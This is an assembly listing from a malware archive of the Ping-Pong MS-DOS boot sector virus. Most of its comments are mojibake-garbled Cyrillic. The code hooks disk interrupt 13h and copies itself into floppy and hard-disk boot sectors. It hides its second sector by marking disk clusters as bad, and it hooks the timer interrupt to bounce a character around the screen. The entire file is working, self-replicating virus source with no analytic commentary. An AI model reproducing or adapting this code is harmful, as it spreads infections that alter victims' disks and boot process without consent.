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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pingpong.asm
vxunderground b60161f008
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2021-01-12 17:55:26 -06:00

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; Advanced Fullscreen Disassembler v2.11
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
;
; First listing: without DATA segment
;
; Segment value: 0000, length: 0200
;
BIOS_SEG SEGMENT at 0h
org 0020h
D0020 dw 0
D0022 dw 0
INTERR8 label far
org 004Ch
D004C dw 0
D004E dw 0
org 0413h
D0413 dw 0
BIOS_SEG ends
BOOT_SEG SEGMENT at 7Ch
org 0
BOOT_PROCESS label far
BOOT_SEG ends
DISK_ROM SEGMENT at 0C800h
org 256h
C800_SEG label far
DISK_ROM ends
SEG0000 segment public para 'CODE'
assume CS:SEG0000, ds:SEG0000
;***********************************************************;
; <20>š<EFBFBD>‚ˆ ‘…Š’Ž<E28099> - <20>€—€‹Ž <20>€ ‚ˆ<E2809A>“‘€ ;
; <20>€Œˆ<C592>€ ‘… <20>€ boot sector <20>€ „ˆ‘Š€ ;
;***********************************************************;
; ’³ª  ¤°¥±º² ¥ 0000:7C00 ¨«¨ 07C0:0000
;
ORG 7C00h
JMP short L7C1E
D7C02 db 90h
db 'IBM 3.1'
DB 0
DB 2
D7C0D DB 2
D7C0E DW 1
DB 2
DB 70h
DB 0
D7C13 DW 2D0h
DB 0FDh
DB 2
DB 0
D7C18 DW 9 ;Sector per track - SecPTrk
D7C1A DW 2 ;Side per track - SidPTrk
D7C1C DW 0
L7C1E: XOR AX,AX
MOV SS,AX
MOV SP,7C00h
MOV DS,AX
assume ds:BIOS_SEG
MOV AX,Word Ptr D0413 ;<3B> ¬ «¿¢  BIOS MEMSIZE ± 2
SUB AX,0002h
MOV Word Ptr D0413,AX
assume ds:SEG0000
MOV CL,06h
SHL AX,CL
SUB AX,07C0h
MOV ES,AX ;ES: ±¥£¬¥­²  ­  § ¥²¨²¥ 2Š ¯ ¬¥²
MOV SI,7C00h
MOV DI,SI
MOV CX,0100h
REPZ MOVSW ;¬¥±²¨ ±¥ ² ¬: ¶¥«¨¿² ±¥ª²®°
db 08Eh,0C8h ;MOV CS,AX ;¯°¥¤ ¢  ³¯° ¢«¥­¨¥²® ­  ­®¢®²® ¬¿±²®
;CS:7C00 -  ¤°¥± ­  ­ · «®²® ­  ª®¤ 
PUSH CS
POP DS
CALL L7C4A
L7C4A: XOR AH,AH ;RESET ­  INT 13
INT 13h
AND Byte Ptr D7DF8,80h ;“±²°®©±²¢®²® ¥ ¯º°¢¨ ¤¨±ª (A: - floppy
; C: - hard
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¯º°¢¨¿² ±¥ª²®°, ªº¤¥²® ¥ ¯°®¤º«-
PUSH CS ;¦¥­¨¥²®
POP AX
SUB AX,0020h
MOV ES,AX ;adres = (CS - 20h):8000h
CALL L7C9D
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¢²®°¨¿² ±¥ª²®° ®² ¯°®¤º«¦¥­¨¥²®
INC BX ; (­®°¬ «­¨¿² BOOT)
MOV AX,0FFC0h ;adres = 0000:7C00
MOV ES,AX
CALL L7C9D
XOR AX,AX
MOV Byte Ptr D7DF7,AL ;—¨±²¨ ±² ²³±-¡ ©²  (§  ¯®±«¥)
MOV DS,AX
assume ds:BIOS_SEG
MOV AX,Word Ptr D004C ;‡ ª ·¢  ±¥ §  INT 13!
MOV BX,Word Ptr D004E
MOV Word Ptr D004C,offset NewINT13
MOV Word Ptr D004E,CS
PUSH CS
POP DS
assume ds:SEG0000
MOV Word Ptr D7D2A,AX ;‡ ¯ §¢  ±² °¨¿²  ¤°¥± ­  INT 13
MOV Word Ptr D7D2C,BX
MOV DL,Byte Ptr D7DF8 ;‚§¥¬  ³±²°®©±²¢®²® §  BOOT ¨ ±² °²¨° 
jmp BOOT_PROCESS ;­®°¬ «­¨¿² BOOT process
;================================================================;
; <20><>Žƒ<C5BD>€Œ€ ‡€ —…’…<E28099>… (L7C9D) ˆ ‡€<E280A1>ˆ‘ (L7C98) ;
; <20>€ ‹Žƒˆ—…‘Šˆ ‘…Š’Ž<E28099> Ž’ „ˆ‘Š ;
;----------------------------------------------------------------;
; BX - ±¥ª²®° ®²­®±­® ­ · «®²®, ª®©²® ²°¿¡¢  ¤  ±¥ ¯°®·¥²¥ ;
; ES:8000 -  ¤°¥±, ªº¤¥²® ¤  ±¥ ¯°®·¥²¥ ±¥ª²®°º² ;
; ;
; D7DF8 - ³±²°®©±²¢®, ®² ª®¥²® ·¥²¥ ;
; ;
;================================================================;
L7C98: MOV AX,0301h
JMP short L7CA0
L7C9D: MOV AX,0201h
L7CA0: XCHG BX,AX
ADD AX,Word Ptr D7C1C
XOR DX,DX
DIV Word Ptr D7C18 ;¯°¥¢°º¹  «®£¨·¥±ª¨¿² ±¥ª²®° ¢ AX
INC DL ; (0-7..) ¢º¢ Track, Side, Sector
MOV CH,DL ;¢ °¥£¨±²°¨²¥ CX, DX (§  INT 13)
XOR DX,DX
DIV Word Ptr D7C1A
MOV CL,06h
SHL AH,CL
OR AH,CH
MOV CX,AX
XCHG CH,CL
MOV DH,DL
MOV AX,BX
L7CC3: MOV DL,Byte Ptr D7DF8 ;¢§¥¬  ­®¬¥°  ­  ¤¨±ª  §  ·¥²¥­¥ (A:)
MOV BX,8000h
INT 13h
JNC L7CCF
POP AX ;±ª ¯¢  ±²¥ª  ¨ § £¨¢ ,  ª® ¨¬  I/O err
L7CCF: RET
;========================================================================;
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… ‚<>š‡‚€ <20>€ ŒŸ‘’Ž’Ž <20>€ ˆ‘’ˆ<E28099>‘ŠˆŸ’ INT 13 ;
;========================================================================;
NewINT13:
PUSH DS ;‡ ¯ §¢  °¥£¨±²°¨²¥
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ;Ž¯° ¢¿ ±¢®¿ DS ¨ ES
POP DS
PUSH CS
POP ES
TEST Byte Ptr D7DF7,01h ;€ª® ¥ 1 - ¢º§¯°®¨§¢¥¦¤ ­¥ ­  ¢¨°³± ,
JNE L7D23 ; ®²¨¢  ¤  ¯¨¸¥ ±º± ±² ­¤ °². INT 13
CMP AH,02h ;—¥²¥­¥ ­  ±¥ª²®°?
JNE L7D23 ;<3B>¥, ¯°®¤º«¦ ¢  ±º± ±² ­¤ °²­¨¿² INT 13
CMP Byte Ptr D7DF8,DL ;“±²°®©±²¢®²® ±º¢¯ ¤  ± ¯®±«¥¤­®²®
MOV Byte Ptr D7DF8,DL ; ± ª®¥²® ¥ ° ¡®²¥­®
JNE L7D12 ;<3B>¥
XOR AH,AH ;‚§¥¬  ¢°¥¬¥²®
INT 1Ah
TEST DH,7Fh ;¡¨² 8000 ­  low order part = 1?
JNE L7D03 ;¤ , ¯°¥±ª · 
TEST DL,0F0h ;¡¨²®¢¥ 00F0 ­  low order part = 1?
JNE L7D03 ;¤ , ¯°¥±ª · 
;<3B>°®¿¢ : ª®£ ²® TIMER .and. 80F0h == 0
;<3B>°¨¡«¨§¨²¥«­® ­  1800 ±¥ª. = 30 ¬¨­.
PUSH DX
call L7EB3 ;<3B>°®¿¢  ­  ¢¨°³±  - ±ª ·  ¯® ¥ª° ­ 
POP DX
L7D03: MOV CX,DX ;Ž¯°¥¤¥«¿ ²°¿¡¢  «¨ ¤  § ° §¿¢ 
SUB DX,Word Ptr D7EB0 ; (¯®¤µ®¤¿¹ ¬®¬¥­² ¢°¥¬¥)
MOV Word Ptr D7EB0,CX
SUB DX,+24h
JC L7D23
L7D12: OR Byte Ptr D7DF7,01h ;‘² °²¨°  ¢º§¯°®¨§¢¥¦¤ ­¥/§ ° §¿¢ ­¥
PUSH SI
PUSH DI
CALL L7D2E
POP DI
POP SI
AND Byte Ptr D7DF7,0FEh
L7D23: POP DX ;‚º§±² ­®¢¿¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
POP CX
POP BX
POP AX
POP ES
POP DS
D7D2A = $+1
D7D2C = $+3
jmp c800_SEG ;‘² °²¨°  ¨±²¨­±ª¨¿² INT 13
;================================================================;
; ‚š‡<C5A1><E280A1>Žˆ‡‚…†„€<E2809E>… <20>€ ‚ˆ<E2809A>“‘€ ˆ ‡€<E280A1>€‡Ÿ‚€<E2809A>… <20>€ <20><>Žƒ<C5BD>€Œ€ ;
;================================================================;
L7D2E: MOV AX,0201h ;—¥²¥ BOOT sector ®² ¤¨±ª 
MOV DH,00h ; BX = ?????????????????????? ªº¤¥, ¡¥!
MOV CX,0001h
CALL L7CC3
TEST Byte Ptr D7DF8,80h ;HARD DISK?
JE L7D63 ;­¥
;---- HARD DISK ----;
MOV SI,81BEh ;’º°±¨ DOS partition
MOV CX,0004h
L7D46: CMP Byte Ptr [SI+04h],01h
JE L7D58
CMP Byte Ptr [SI+04h],04h
JE L7D58
ADD SI,+10h
LOOP L7D46
RET ;­¿¬  DOS partition, ­¥ § ° §¿¢ 
;---- <20> ¬¥°¥­ ¥ DOS partition ----;
L7D58: MOV DX,Word Ptr [SI]
MOV CX,Word Ptr [SI+02h]
MOV AX,0201h
CALL L7CC3 ;—¥²¥ BOOT sector ®² DOS partition
;---- ’³ª ¨¤¢   ª® ¥ ¤¨±ª¥² , ¯°®·¥²¥­ ¥ BOOT sector ----;
L7D63: MOV SI,8002h
MOV DI,offset D7C02
MOV CX,001Ch
REPZ MOVSB ;¬¥±²¨ BPB ² ¡«¨¶ ²  ®² BOOT sector
CMP Word Ptr D8000+01FCh,1357h ;‡ ° §¥­ «¨ ¥ ¤¨±ª ?
JNE L7D8B ;­¥
CMP Byte Ptr D8000+01FBh,00h ;Šº¤¥ «¨ ±®·¨ DS?
JNC L7D8A
;---- „¨±ª  ¥ § ° §¥­ ----; ;---- ’³ª ¬ © ­¿¬  ¤  ¤®©¤¥ ­¨ª®£ ? ----;
MOV AX,Word Ptr D8000+01F5h ;<3B>®¦  ° ¡®² ...
MOV Word Ptr D7DF5,AX
MOV SI,Word Ptr D8000+01F9h
jmp L7E92
L7D8A: RET
;-------------------
; „ˆ‘Š€ <20>… … ‡€<E280A1>€‡…<E280A1>, <20>Ž—‚€ ‡€<E280A1>€‡Ÿ‚€<E2809A>…’Ž
;
L7D8B: CMP Word Ptr D8000+000Bh,0200h ;’®¢  ­¥ ¥ ¨­²¥°¥±­®
JNE L7D8A
CMP Byte Ptr D8000+000Dh,02h
JC L7D8A
MOV CX,Word Ptr D8000+000Eh
MOV AL,Byte Ptr D8000+0010h
CBW
MUL Word Ptr D8000+0016h
ADD CX,AX
MOV AX,0020h
MUL Word Ptr D8000+0011h
ADD AX,01FFh
MOV BX,0200h
DIV BX
ADD CX,AX
MOV Word Ptr D7DF5,CX
MOV AX,Word Ptr D7C13
SUB AX,Word Ptr D7DF5
MOV BL,Byte Ptr D7C0D
XOR DX,DX
XOR BH,BH
DIV BX
INC AX
MOV DI,AX
AND Byte Ptr D7DF7,0FBh
CMP AX,0FF0h
JBE L7DE0
OR Byte Ptr D7DF7,04h
L7DE0: MOV SI,0001h
MOV BX,Word Ptr D7C0E
DEC BX
MOV Word Ptr D7DF3,BX
MOV Byte Ptr D7EB2,0FEh
JMP short L7E00
D7DF3 DW 1
D7DF5 DW 000Ch
D7DF7 DB 1 ;±² ²³±-¡ ©²:
; 0000 0001 - ±² °²¨° ­® ¥ ¢º§¯°®¨§¢¥¦¤ ­¥
; 0000 0010 - § ª ·¥­ ¥ ­  INT 08
; 0000 0100
D7DF8 DB 00 ;³±²°®©±²¢®: 0 - A:, 1 - B:, ...
D7DF9 DW 274h ;«®£¨·¥±ª¨ ±¥ª²®°, ªº¤¥²® ¥ § ¯¨± ­® ¯°®¤º«¦¥­¨¥²®
DB 00
DW 1357h ;ˆ<>„ˆŠ€’Ž<E28099> ‡€ ‡€<E280A1>€‡…<E280A1> „ˆ‘Š!!!!!!!!
DW 0AA55h ;­®°¬ «¥­ BOOT ±¥ª²®°
;***********************************************************;
; ‚’Ž<E28099>ˆ ‘…Š’Ž<E28099> - <20><>Ž„š‹†…<E280A0>ˆ… <20>€ ‚ˆ<E2809A>“‘€ ;
; <20>€Œˆ<C592>€ ‘… <20>€ bad sector <20>€‚š’<C5A1>… ‚ „ˆ‘Š€ ;
;***********************************************************;
L7E00: INC Word Ptr D7DF3
MOV BX,Word Ptr D7DF3
ADD Byte Ptr D7EB2,02h
call L7C9D
JMP short L7E4B
L7E12: MOV AX,0003h
TEST Byte Ptr D7DF7,04h
JE L7E1D
INC AX
L7E1D: MUL SI
SHR AX,1
SUB AH,Byte Ptr D7EB2
MOV BX,AX
CMP BX,01FFh
JNC L7E00
MOV DX,Word Ptr D8000[BX]
TEST Byte Ptr D7DF7,04h
JNE L7E45
MOV CL,04h
TEST SI,0001h
JE L7E42
SHR DX,CL
L7E42: AND DH,0Fh
L7E45: TEST DX,0FFFFh
JE L7E51
L7E4B: INC SI
CMP SI,DI
JBE L7E12
RET
L7E51: MOV DX,0FFF7h
TEST Byte Ptr D7DF7,04h
JNE L7E68
AND DH,0Fh
MOV CL,04h
TEST SI,0001h
JE L7E68
SHL DX,CL
L7E68: OR Word Ptr D8000[BX],DX
MOV BX,Word Ptr D7DF3
call L7C98
MOV AX,SI
SUB AX,0002h
MOV BL,Byte Ptr D7C0D
XOR BH,BH
MUL BX
ADD AX,Word Ptr D7DF5
MOV SI,AX
MOV BX,0000h
call L7C9D
MOV BX,SI
INC BX
call L7C98
L7E92: MOV BX,SI
MOV Word Ptr D7DF9,SI
PUSH CS
POP AX
SUB AX,0020h
MOV ES,AX
call L7C98
PUSH CS
POP AX
SUB AX,0040h
MOV ES,AX
MOV BX,0000h
call L7C98
RET
D7EB0 DW 0EEF0h
D7EB2 DB 0
;=======================================================;
; ‡€Š€—‚€<E2809A>… ‡€ int 08, €ŠŽ <20>… … ‡€Š€—…<E28094>€ ;
;=======================================================;
L7EB3: TEST Byte Ptr D7DF7,02h
JNE L7EDE
OR Byte Ptr D7DF7,02h
assume ds:BIOS_SEG
MOV AX,0000h ;‡ ª ·¢  ±¥ ­  INT 8
MOV DS,AX
MOV AX,Word Ptr D0020
MOV BX,Word Ptr D0022
MOV Word Ptr D0020,offset NewINT08
MOV Word Ptr D0022,CS
assume ds:SEG0000
PUSH CS
POP DS
MOV Word Ptr D7FC9,AX ;‡ ¯ §¢  ±² °¨¿² INT 8
MOV Word Ptr D7FCB,BX
L7EDE: RET
;=====================================================================;
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… ‚<>š‡‚€ <20>€ ŒŸ‘’Ž’Ž <20>€ ˆ‘’ˆ<E28099>‘ŠˆŸ’ int 08 ;
;=====================================================================;
NewINT08:
PUSH DS ;‡ ¯ §¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ;Ž¯° ¢¿ ±®¡±²¢¥­¨¿² DS
POP DS
MOV AH,0Fh ;Get current video mode
INT 10h
MOV BL,AL
CMP BX,Word Ptr D7FD4 ;mode = ±² °¨¿² mode
JE L7F27 ;¤ , ¯°®¤º«¦ ¢ 
;---- <20>¥¦¨¬º² ­  ¤¨±¯«¥© ¥ ¯°®¬¥­¥­. “±² ­®¢¿¢¿ ­®¢¨¿² °¥¦¨¬ ----;
MOV Word Ptr D7FD4,BX ;§ ¯¨±¢  ±²° ­¨¶ ²  ¨ mode
DEC AH
MOV Byte Ptr D7FD6,AH ;§ ¯ §¢  char_per_line-1
MOV AH,01h
CMP BL,07h ;mode = text b/w MGA, EGA?
JNE L7F05 ;­¥
DEC AH
L7F05: CMP BL,04h ;mode = graphics?
JNC L7F0C ;¤ 
DEC AH
L7F0C: MOV Byte Ptr D7FD3,AH
MOV Word Ptr D7FCF,0101h
MOV Word Ptr D7FD1,0101h
MOV AH,03h ;Read cursor position and size
INT 10h
PUSH DX ;‡ ¯ §¢  ¯®§¨¶¨¿²  ­  ª³°±®° 
MOV DX,Word Ptr D7FCF
JMP short L7F4A
;---- <20>¥¦¨¬º² ­  ¤¨±¯«¥¿ (mode) ­¥ ¥ ¯°®¬¥­¿­ ----;
L7F27: MOV AH,03h ;Read cursor position and size
INT 10h
PUSH DX ;‡ ¯ §¢  cursor pos & size
MOV AH,02h ;Set cursor position
MOV DX,Word Ptr D7FCF
INT 10h
MOV AX,Word Ptr D7FCD ;Ž¯°¥¤¥«¿ ª ª¢® ¤  ¯¨¸¥ ¯® ¥ª° ­ 
CMP Byte Ptr D7FD3,01h ;mode = GRAPF?
JNE L7F41 ;­¥
MOV AX,8307h
L7F41: MOV BL,AH ;Write character & attribute
MOV CX,0001h
MOV AH,09h
INT 10h
;---- Š®°¨£¨°  ¯®§¨¶¨¿²  ­  ª³°±®°  ----;
L7F4A: MOV CX,Word Ptr D7FD1
CMP DH,00h ;Up
JNE L7F58
XOR CH,0FFh
INC CH
L7F58: CMP DH,18h ;Down
JNE L7F62
XOR CH,0FFh
INC CH
L7F62: CMP DL,00h ;Left
JNE L7F6C
XOR CL,0FFh
INC CL
L7F6C: CMP DL,Byte Ptr D7FD6 ;Right
JNE L7F77
XOR CL,0FFh
INC CL
L7F77: CMP CX,Word Ptr D7FD1
JNE L7F94
MOV AX,Word Ptr D7FCD
AND AL,07h
CMP AL,03h
JNE L7F8B
XOR CH,0FFh
INC CH
L7F8B: CMP AL,05h
JNE L7F94
XOR CL,0FFh
INC CL
L7F94: ADD DL,CL
ADD DH,CH
MOV Word Ptr D7FD1,CX
MOV Word Ptr D7FCF,DX
MOV AH,02h
INT 10h ;Set cursor position
MOV AH,08h ;Read character & attribute
INT 10h
MOV Word Ptr D7FCD,AX
MOV BL,AH
CMP Byte Ptr D7FD3,01h ;mode = GRAPH?
JNE L7FB6 ;­¥
MOV BL,83h
L7FB6: MOV CX,0001h ;Write character & attribute
MOV AX,0907h
INT 10h
POP DX ;Restore cursor position
MOV AH,02h
INT 10h
POP DX ;‚º§±² ­®¢¿¢  ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
POP CX
POP BX
POP AX
POP DS
D7FC9 = $+1
D7FCB = $+3
JMP INTERR8 ;Ž²¨¢  ­  ¨±²¨­±ª¨¿² INT 08
D7FCD DW 0
D7FCF DW 0101h ;<3B> ¡®²­  ¯®§¨¶¨¿ ­  ¥ª° ­  ­  ¢¨°³± 
D7FD1 DW 0101h
D7FD3 DB 0 ; 1 - mode = graph, b800
; 0 - mode = text, b800
;-1 - mode = 7, text b/w EGA,HGA
D7FD4 DW 0FFFFh ;± ¬¨¿² mode
D7FD6 DB 50h ;¡°®© ±¨¬¢®«¨ ­  °¥¤
DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h
DB 040h,040h,040h,064h,062h,05Eh,062h,060h
DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
DB 0B6h
;*************************************************************
; <20>€<EFBFBD>Ž’<C5BD>€ Ž<>‹€‘’ <20>€ ‚ˆ<E2809A>“‘€
D8000 = $
SEG0000 ends
END
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